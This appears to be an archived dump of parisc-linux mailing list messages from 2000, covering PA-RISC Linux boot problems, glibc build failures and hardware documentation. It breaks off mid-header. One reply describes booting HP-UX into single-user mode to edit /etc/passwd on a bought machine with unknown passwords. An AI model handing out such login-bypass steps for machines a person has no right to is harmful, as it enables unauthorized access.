Xref: news.gmane.org gmane.linux.ports.parisc:8378

Andrew Shugg wrote:
> > Considering how often this question comes up is there anyone out there
> > that is interested in tracking down the info to port linux to this class
> > of box.
> > 
> > Server boxes may be classed as boring to some but there seem to be a
> > large number of people who have at least one of them sitting about doing
> > nothing.
> > 
> > Joe.
> 
> I don't perceive the problem to be a lack of willingness, or interest, but
> has already been stated the older systems contain a lot of proprietry stuff
> that isn't sufficiently documented for people to work on.

AFIAK, the chipsets for I/O devices in E25 have plenty of documentation.
The issue is someone has to clean them up and get a lawyer to approve
their publication. It's all about IP and avoiding lawsuits. This has
been discussed before.  Any HP employees interested in doing this "on
their own time" can contact me and I'll help locate unpublished docs.

Note that PDC is the same for Nova-Class (EFGHI-class) boxes as for
the workstations for the most part. So someone could start by just
trying to boot those boxes and see how far it gets before dying.


> Maybe as the parisc port grows more popular and attracts more resources,
> some enthusiastic people will get it happening.  =)

Having worked on the HPUX SCSI driver (scsi3 and scsi1) for E25 and
similar boxes, I question anyone's sanity who volunteers to write
drivers for SPIFI chips - even with full documentation. I would rather
give folks that interested in contributing a 715/33! (or my gosh /50's!)

Yes - I know folks who collect PDP's and keep them running in their
garage...'nuf said.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-RISC newbie
Date: Sat, 11 Nov 2000 15:38:58 -0800
Lines: 45
Approved: news@gmane.org
Message-ID: <200011112338.PAA09398@milano.cup.hp.com>
References: <3A0D4245.1C8FB2B5@optushome.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619268 6014 80.91.229.3 (22 Nov 2014 01:21:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:08 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Rod Smart <snaketails@optushome.com.au>
Original-X-From: grundler@cup.hp.com  Sat Nov 11 16:31:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA01462
	for <parisc-linux@puffin.external.hp.com>; Sat, 11 Nov 2000 16:31:49 -0700
Original-Received: (qmail 396 invoked by uid 15267); 11 Nov 2000 23:33:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 386 invoked from network); 11 Nov 2000 23:33:47 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 11 Nov 2000 23:33:47 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 28615BD5; Sat, 11 Nov 2000 15:33:47 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id PAA09398;
	Sat, 11 Nov 2000 15:38:59 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 11 Nov 2000 23:57:43 PST."
             <3A0D4245.1C8FB2B5@optushome.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:8379

Rod Smart wrote:
>     Hi there.
> 
>     I just purchased at a **VERY** cheap price, a HP Visualize C-180
> RISC system from a CAD drafting company, this box included a 4Gb Hard
> disk, a video card with unknown amount of memory (& daughter board,
> assuming its memory upgrade) and system board RAM is fully loaded
> (768Megs).
> 
>     I would like to run this system on Linux, and found the PA-RISC web
> site from the www.linux.org web site :o)
> 
>     The system currently has HP-UX installed, but not having any
> usernames or passwords, I cannot access the system from the prompt.

Yes you can. You just need to know how.

Interrupt the boot process to get a "BOOT ADMIN" prompt (or whatever
it's called - Boot Console Handler).
Then "boot primary isl" (shortened to bo pri isl)
You should have an "ISL>" prompt now.
ISL> hpux -is
And you will boot to single user state with a shell.
mountall and you should have the regular tools too.
vi /etc/passwd to your hearts content.

"There is no such thing at security with out physical security".

..
>     I'm not confident enough on how to create and burn a bootable CD to
> try and boot the box that way, I still think the vmlinux kernel I
> downloaded from the PA-RISC website has something to do with my problems
> (or the permissions)
>

You can dd the ISO image to a regular hard disk (ie /dev/sdc) and move
that disk over to the C180. Then boot from that disk.
>From BCH, use "sea" to locate all boot devices.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc question
Date: Sat, 11 Nov 2000 17:04:29 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20001111170429.A29140@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619268 6015 80.91.229.3 (22 Nov 2014 01:21:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:08 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: randolph@tausq.org  Sat Nov 11 17:02:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA01990
	for <parisc-linux@puffin.external.hp.com>; Sat, 11 Nov 2000 17:02:41 -0700
Original-Received: (qmail 19542 invoked by uid 15267); 12 Nov 2000 00:04:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19526 invoked from network); 12 Nov 2000 00:04:39 -0000
Original-Received: from phnxpop4.phnx.uswest.net (206.80.192.4)
  by mailserv2.iuinc.com with SMTP; 12 Nov 2000 00:04:39 -0000
Original-Received: (qmail 86501 invoked by alias); 12 Nov 2000 00:04:38 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 86481 invoked by uid 0); 12 Nov 2000 00:04:37 -0000
Original-Received: from dslpppb192.phnx.uswest.net (HELO gandalf.tausq.org) (63.224.147.192)
  by phnxpop4.phnx.uswest.net with SMTP; 12 Nov 2000 00:04:37 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 13ukdJ-0007aV-00; Sat, 11 Nov 2000 17:04:29 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:8380

I'm working with bdale and taggart to try to get the Debian glibc
package to compile under hppa. One of the things I saw today while
playing with this is that the build dies because it tries to link in
bsd-setjmp.c and bsd-_setjmp.c, which both define setjmp. Can someone
enlighten me about why this may be happening?

This is built from the glibc-2.2 sources, which I understand has
all/most of the changes in pehc cvs.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^


From - Thu Nov 08 21:14:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Brian Poole <rajak@purdue.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems booting new beta CD
Date: Sat, 11 Nov 2000 22:58:57 -0500 (EST)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0011112248330.10852-100000@herald.cc.purdue.edu>
Reply-To: rajak@cerias.purdue.edu
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619269 6017 80.91.229.3 (22 Nov 2014 01:21:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:09 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rajak@purdue.edu  Sat Nov 11 20:57:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA03470
	for <parisc-linux@puffin.external.hp.com>; Sat, 11 Nov 2000 20:57:00 -0700
Original-Received: (qmail 26147 invoked by uid 15267); 12 Nov 2000 03:58:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26131 invoked from network); 12 Nov 2000 03:58:58 -0000
Original-Received: from herald.cc.purdue.edu (128.210.11.29)
  by mailserv2.iuinc.com with SMTP; 12 Nov 2000 03:58:58 -0000
Original-Received: from localhost by herald.cc.purdue.edu with ESMTP for parisc-linux@thepuffingroup.com; Sat, 11 Nov 2000 22:58:57 -0500
X-Sender: rajak@herald.cc.purdue.edu
Xref: news.gmane.org gmane.linux.ports.parisc:8381

Hello,

My machine is a 715/80 with 88M of RAM, 1G HD, external 4x CD drive &
floppy.

Trying to get the new palinux CD working on my 715/80 here and not having
too much success. Did get the CD to actually boot, but after all the
normal Linux init messages (which were very nice to see btw,
congratulations on how far it has already gotten ;) it stops at 'Switching
from PDC console'. 

Looking thru the FAQ I saw a somewhat similar question, in that it had
'pdc' in it & was booting from the CD (but the 0.1 CD, not the one I am
using), that said the kernel on the CD booted from/to the
serial console. Is this also true of the 0.5 CD? If so, what is necessary
to boot one of these from console? I've been fooling with it to no
success.. I have it automatically booting from the CD, but it doesn't
actually boot. I replug in the monitor & keyboard and find that it can't
boot without the keyboard ('Failed to initiliaze a keyboard\n SYSTEM 
HALTED').. How am I supposed to boot to the console if I can't boot w/o a
keyboard? I imagine if it has a keyboard it will boot to the screen like a
Sun.

Thanks for the help,

-b




From - Thu Nov 08 21:14:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems booting new beta CD
Date: Sat, 11 Nov 2000 23:31:37 -0800
Lines: 62
Approved: news@gmane.org
Message-ID: <200011120731.XAA09607@milano.cup.hp.com>
References: <Pine.SOL.4.21.0011112248330.10852-100000@herald.cc.purdue.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619269 6021 80.91.229.3 (22 Nov 2014 01:21:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:09 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: rajak@cerias.purdue.edu
Original-X-From: grundler@cup.hp.com  Sun Nov 12 00:24:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA13449
	for <parisc-linux@puffin.external.hp.com>; Sun, 12 Nov 2000 00:24:32 -0700
Original-Received: (qmail 1768 invoked by uid 15267); 12 Nov 2000 07:26:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1761 invoked from network); 12 Nov 2000 07:26:27 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 12 Nov 2000 07:26:27 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 53590E59; Sat, 11 Nov 2000 23:26:25 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id XAA09607;
	Sat, 11 Nov 2000 23:31:38 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 11 Nov 2000 22:58:57 PST."
             <Pine.SOL.4.21.0011112248330.10852-100000@herald.cc.purdue.edu> 
Xref: news.gmane.org gmane.linux.ports.parisc:8382

Brian Poole wrote:
...
> Looking thru the FAQ

Brian,
Thank you for first reading the FAQ!

> I saw a somewhat similar question, in that it had
> 'pdc' in it & was booting from the CD (but the 0.1 CD, not the one I am
> using), that said the kernel on the CD booted from/to the
> serial console. Is this also true of the 0.5 CD?

I think it is.
Is there a way via PALO to direct the console to FBCON or STICON or
whatever it's called now?

I had the impression *eventually* the boot console would be whatever PDC
says it is - ie graphics console for the 712.

> If so, what is necessary to boot one of these from console?

kernel with CONFIG_STI_CONSOLE I think....but that's not enabled by default.
It may not be possible to use the graphics console unless one builds
a "custom" kernel.

> I've been fooling with it to no
> success.. I have it automatically booting from the CD, but it doesn't
> actually boot. I replug in the monitor & keyboard and find that it can't
> boot without the keyboard ('Failed to initiliaze a keyboard\n SYSTEM 
> HALTED').. How am I supposed to boot to the console if I can't boot w/o a
> keyboard? I imagine if it has a keyboard it will boot to the screen like a
> Sun.

AFAIK, 712's are the only parisc workstations what won't boot w/o keyboard.
All others will auto-switch to use serial console if the keyboard
is not connected.

Both or the above questions sounds like a FAQ.
Could someone who knows more update/add those to the FAQ?

thanks,
grant

ps. The most up-to-date FAQ is at parisc-linux.org/faq.html even
though that's not officially online yet.

> 
> Thanks for the help,
> 
> -b
> 
> 
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc question
Date: Sun, 12 Nov 2000 23:08:35 +1100 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0011122302590.21707-100000@front.linuxcare.com.au>
References: <20001111170429.A29140@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619269 6028 80.91.229.3 (22 Nov 2014 01:21:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:09 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Randolph Chung <randolph@tausq.org>
Original-X-From: alan@linuxcare.com.au  Sun Nov 12 05:06:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA17140
	for <parisc-linux@puffin.external.hp.com>; Sun, 12 Nov 2000 05:06:58 -0700
Original-Received: (qmail 23280 invoked by uid 15267); 12 Nov 2000 12:08:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23270 invoked from network); 12 Nov 2000 12:08:57 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 12 Nov 2000 12:08:57 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id XAA22592;
	Sun, 12 Nov 2000 23:08:38 +1100
In-Reply-To: <20001111170429.A29140@tausq.org>
Xref: news.gmane.org gmane.linux.ports.parisc:8383

On Sat, 11 Nov 2000, Randolph Chung wrote:

> I'm working with bdale and taggart to try to get the Debian glibc
> package to compile under hppa. One of the things I saw today while
> playing with this is that the build dies because it tries to link in
> bsd-setjmp.c and bsd-_setjmp.c, which both define setjmp. Can someone
> enlighten me about why this may be happening?

I think bsd-_setjmp.c should define _setjmp, not setjmp.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 e25
Date: Mon, 13 Nov 2000 00:40:15 +0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20001113004013.Y9666@neep.com.au>
References: <20001111231253.I9666@neep.com.au> <200011112329.PAA09355@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619270 6031 80.91.229.3 (22 Nov 2014 01:21:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:10 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andrew@neep.com.au  Sun Nov 12 09:38:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA18447
	for <parisc-linux@puffin.external.hp.com>; Sun, 12 Nov 2000 09:38:31 -0700
Original-Received: (qmail 32340 invoked by uid 15267); 12 Nov 2000 16:40:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32325 invoked from network); 12 Nov 2000 16:40:29 -0000
Original-Received: from symphony-03.iinet.net.au (HELO mail.iinet.net.au) (203.59.24.18)
  by mailserv2.iuinc.com with SMTP; 12 Nov 2000 16:40:29 -0000
Original-Received: (qmail 3581 invoked by uid 666); 12 Nov 2000 16:40:18 -0000
Original-Received: from unknown (HELO guinness.neep.com.au) (203.59.104.175)
  by mail.iinet.net.au with SMTP; 12 Nov 2000 16:40:18 -0000
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id AAA27504
	for parisc-linux@thepuffingroup.com; Mon, 13 Nov 2000 00:40:18 +0800
Mail-Followup-To: parisc-linux@thepuffingroup.com
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200011112329.PAA09355@milano.cup.hp.com>; from grundler@cup.hp.com on Sat, Nov 11, 2000 at 03:29:14PM -0800
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:8384

Grant Grundler said:
> AFIAK, the chipsets for I/O devices in E25 have plenty of
> documentation.  The issue is someone has to clean them up and get a
> lawyer to approve their publication.

My bad, I should've said "public documentation".  =)

*prods LC FAQ maintainers*

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."


From - Thu Nov 08 21:14:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc build fails / bash bug
Date: Sun, 12 Nov 2000 11:06:38 -0700
Lines: 52
Approved: news@gmane.org
Message-ID: <20001112110638.A1005@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619270 6035 80.91.229.3 (22 Nov 2014 01:21:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:10 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: randolph@tausq.org  Sun Nov 12 11:04:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA19020
	for <parisc-linux@puffin.external.hp.com>; Sun, 12 Nov 2000 11:04:59 -0700
Original-Received: (qmail 22810 invoked by uid 15267); 12 Nov 2000 18:06:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22797 invoked from network); 12 Nov 2000 18:06:58 -0000
Original-Received: from phnxpop5.phnx.uswest.net (206.80.192.5)
  by mailserv2.iuinc.com with SMTP; 12 Nov 2000 18:06:58 -0000
Original-Received: (qmail 63296 invoked by alias); 12 Nov 2000 18:06:56 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 62940 invoked by uid 0); 12 Nov 2000 18:06:48 -0000
Original-Received: from dslpppb192.phnx.uswest.net (HELO gandalf.tausq.org) (63.224.147.192)
  by phnxpop5.phnx.uswest.net with SMTP; 12 Nov 2000 18:06:48 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 13v1WY-0000Gg-00; Sun, 12 Nov 2000 11:06:38 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:8385

Bdale, taggart and I have been looking at trying to build glibc on hppa
from Debian's sources.  What we saw was that it looks like a lot of the 
syscalls were not being reocognized as such by one part of the build, so 
it tries to build things from the sysdeps/generic directory and fails.

After a lot of digging, I *think* what is at fault is actually bash. It
looks like during the build, a shell script (make-syscalls.sh) parses
through syscalls.list to generate syscall stubs that are needed for the
build to happen correctly, but these are not being generated. What it 
boils down to, I think, is this:

(on hppa - bdale's J5K)
=============================
tausq@j5k:/space/tausq $ bash --version
GNU bash, version 2.04.0(1)-release (hppa-unknown-linux-gnu)
Copyright 1999 Free Software Foundation, Inc.
tausq@j5k:/space/tausq $ dpkg -l |grep bash
ii  bash           2.04-7         The GNU Bourne Again SHell
tausq@j5k:/space/tausq $ cat test.sh
#!/bin/sh

echo "1 2 3 4 5
a b c d e 
" | 
while read a b c d e; do
        echo $a $b $c $d $e
done
tausq@j5k:/space/tausq $ /bin/bash test.sh
1 2 3 4 5
=============================
(on other archs, tested with i386 and sparc)
samwise[11:06] ~% bash --version    
GNU bash, version 2.04.0(1)-release (i386-pc-linux-gnu)
Copyright 1999 Free Software Foundation, Inc.
samwise[11:06] ~% dpkg -l |grep bash
ii  bash           2.04-7         The GNU Bourne Again SHell
samwise[11:06] ~% /bin/bash test.sh
1 2 3 4 5
a b c d e


This causes the parsing routines to die quite miserably....

Anyone feel like trying to fix this? :-)

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^


From - Thu Nov 08 21:14:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tor@spacetec.no (Tor Arntsen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS has moved!
Date: Tue, 20 Apr 1999 11:45:03 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <199904200945.LAA31742@pallas.spacetec.no>
References: <adevries@redhat.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619270 6036 80.91.229.3 (22 Nov 2014 01:21:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:10 +0000 (UTC)
To: Alex deVries <adevries@redhat.com>, parisc-linux@thepuffingroup.com
Original-X-From: tor@spacetec.no  Tue Apr 20 05:45:25 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id FAA27465
	for <parisc-linux@sod.res.cmu.edu>; Tue, 20 Apr 1999 05:45:25 -0400
Original-Received: (qmail 16671 invoked by uid 15267); 20 Apr 1999 09:44:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16663 invoked from network); 20 Apr 1999 09:43:59 -0000
Original-Received: from pallas.spacetec.no (192.51.5.92)
  by mailserv2.iuinc.com with SMTP; 20 Apr 1999 09:43:59 -0000
Original-Received: (from tor@localhost)
	by pallas.spacetec.no (8.9.1a/8.9.1) id LAA31742;
	Tue, 20 Apr 1999 11:45:05 +0200
In-Reply-To: Alex deVries <adevries@redhat.com>
       "[parisc-linux] CVS has moved!" (Apr 19, 22:24)
X-Mailer: Mail User's Shell (7.2.5 10/14/92)
Xref: news.gmane.org gmane.linux.ports.parisc:8386

On Apr 19, 22:24, Alex deVries wrote:
>For hopefully the last time, the parisc-linux CVS server has moved.  It is
>now at:
>
>:pserver:anonymous@puffin.external.hp.com:/home/cvs/parisc
>(for anonymous read only access)
[..]

I was just about to ask on the list what was going on, thanks :-)
Now a problem: 
cvs server: failed to create lock directory in repository `/home/cvs/parisc/linux/arch/parisc/hp/kernel': Permission denied
cvs server: failed to obtain dir lock in repository `/home/cvs/parisc/linux/arch/parisc/hp/kernel'
cvs [server aborted]: read lock failed - giving up

I built a cross compiler on Irix a couple of weeks ago and assembed one
complete model 715 from a bunch of cannibalised ones.  I'm not sure if
I'll ever get time to contribute much, or anything at all (he says while 
looking at the too long powered-off MIPS Magnum clone under his desktop), 
so I won't make much noise on this list I think.  The next thing I wanted 
to do when I get some hours free however is to figure out how you guys 
intended to run the boot stuff.

`make depend' seems to work fine now with that little fix you made to the 
Makefile btw.

- Tor


From - Thu Nov 08 21:14:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Phillip D. Beal" <pdbeal@louisville.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Beta CD
Date: Sun, 12 Nov 2000 14:27:28 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <20001112142728.A62450@athena.louisville.edu>
References: <20001110171406.C3196@achilles.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619271 6039 80.91.229.3 (22 Nov 2014 01:21:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:11 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Original-X-From: pdbeal@louisville.edu  Sun Nov 12 12:25:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA19685
	for <parisc-linux@puffin.external.hp.com>; Sun, 12 Nov 2000 12:25:56 -0700
Original-Received: (qmail 10346 invoked by uid 15267); 12 Nov 2000 19:27:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10339 invoked from network); 12 Nov 2000 19:27:56 -0000
Original-Received: from erouter0.it-datacntr.louisville.edu (136.165.1.36)
  by mailserv2.iuinc.com with SMTP; 12 Nov 2000 19:27:56 -0000
Original-Received: from athena.louisville.edu (athena.louisville.edu [136.165.1.37])
	by erouter0.it-datacntr.louisville.edu (Postfix) with ESMTP
	id 6679424DFB; Sun, 12 Nov 2000 14:27:55 -0500 (EST)
Original-Received: by athena.louisville.edu (Postfix, from userid 43478)
	id F33E7B9E; Sun, 12 Nov 2000 14:27:28 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20001110171406.C3196@achilles.net>; from pjlahaie@linuxcare.com on Fri, Nov 10, 2000 at 05:14:06PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:8387

On Fri, Nov 10, 2000 at 05:14:06PM -0500, Paul J.Y. Lahaie wrote:
> Hello fellow PA-RISCers,
> 
> An preliminary beta CD for PA/Linux has been uploaded to
> puffin.external.hp.com.  If people could try it and forward any complaints
> or suggestions to me, it would be greatly appreciated.  The URL for the
> image is: ftp://puffin.external.hp.com/pub/parisc/cd-images/palinux-0.5.iso.gz
> 
> 					- Paul
The kernel dumps on an HP755.  Actually, how do you make these CD's?  I
know how to use mkisofs to crerat a filesystem CD, but how you make it
bootable with a kernel image? 

Thanks,
-- 
Phillip Beal
Electrical and Computer Engineering
S+LUG Vice-President


From - Thu Nov 08 21:14:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc build fails / bash bug
Date: Sun, 12 Nov 2000 13:27:32 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <m13v3iu-001Vp3C@chalet>
References: <20001112110638.A1005@tausq.org>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619271 6042 80.91.229.3 (22 Nov 2014 01:21:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:11 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@bame.riverrock.org  Sun Nov 12 13:28:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
